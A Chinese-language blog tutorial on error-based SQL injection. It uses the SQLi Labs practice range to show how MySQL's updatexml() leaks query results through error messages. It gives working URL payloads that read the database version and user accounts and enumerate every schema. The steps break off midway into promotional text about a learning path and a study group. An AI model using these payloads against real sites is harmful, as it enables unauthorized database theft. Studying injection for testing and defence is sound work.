Web安全:报错注入原理分析,报错注入步骤,报错注入常用函数

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

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正文

以SQLi Labs靶场的第一关为例,功能很简单:在地址栏输入用户id,页面返回对应的用户信息。

比如,地址栏输入 ?id=1,页面返回id为1的用户名(Dumb)和密码(Dumb):

在这里插入图片描述
正常情况下,页面只能返回用户信息,不能返回其他信息。

接下来,我们输入报错注入的payload

 ?id=1' and updatexml(1,concat(0x7e,version()),3) -- a

页面的报错信息中返回了数据库的版本:

在这里插入图片描述
version() 的位置可以替换成其他需要执行的SQL语句。

接下来,我们一步一步的分析,报错注入是怎样在报错信息中显示这些数据的。

二、执行原理

1. 代码逻辑分析

测试网站的功能很简单:根据id查询用户名和名:

在这里插入图片描述
执行流程分为三步:

  1. 用户输入参数(用户id)
  2. 后台执行SQL(查询用户信息)
  3. 查询结果在前端回显

在这里插入图片描述
明白网站的功能逻辑以后,我们来了解一下报错注入的核心:updatexml()

2. 报错函数

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1' and updatexml(1, 0x7e, 3) -- a

在这里插入图片描述

提示:0x7e 等价于 ~;updatexml() 需要MySQL5.1及以上版本。

参数2包含特殊符号 ~,触发数据库报错,并将参数2的内容显示在报错信息中。

3. 拼接查询结果

如果我们在参数2的位置,将查询语句和特殊符号拼接在一起,就可以将查询结果显示在报错信息中,在地址栏中输入:

?id=1' and updatexml(1, concat(0x7e,version()), 3) -- a

在这里插入图片描述
参数2内容中的查询结果显示在数据库的报错信息中,并回显到页面。

提示:

  1. version():返回数据库版本
  2. concat():拼接特殊符号和查询结果,函数使用方式可以参考我的另一篇博客:MySQL concat函数使用详解

4. 长度限制

updatexml() 函数的报错内容长度不能超过32个字符,常用的解决方式有两种:

  1. limit 分页
  2. substr()截取字符
4.1 limit 分页

以查询数据库用户为例:

?id=-1' and updatexml(1,concat(0x7e,
	(select user
	from mysql.user limit 1,1)
),3) -- a

在这里插入图片描述

4.2 substr()截取字符

以查询数据库用户为例:

?id=-1' and updatexml(1,concat(0x7e,
	substr(
		(select group_concat(user)
		from mysql.user)
	, 1 , 31)
),3) -- a

在这里插入图片描述
理解报错注入的执行原理后,我们整理一下报错注入的步骤。

三、步骤总结

适用情况:页面有数据库的报错信息

报错信息必须是动态的、来自数据库的报错信息。
网站写死的、自定义的报错提示不算。

1. 判断是否报错

参数中添加单/双引号,页面报错才可进行下一步。

?id=1' -- a

2. 判断报错条件

参数中添加报错函数,检查报错信息是否正常回显

?id=1' and updatexml(1,'~',3) -- a

3. 脱库

获取所有数据库

?id=-1' and updatexml(1,concat('~',
	substr( 
		(select group_concat(schema_name)
		from information_schema.schemata)
	, 1 , 31)
),3) -- a

获取所有表

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
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网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

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一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

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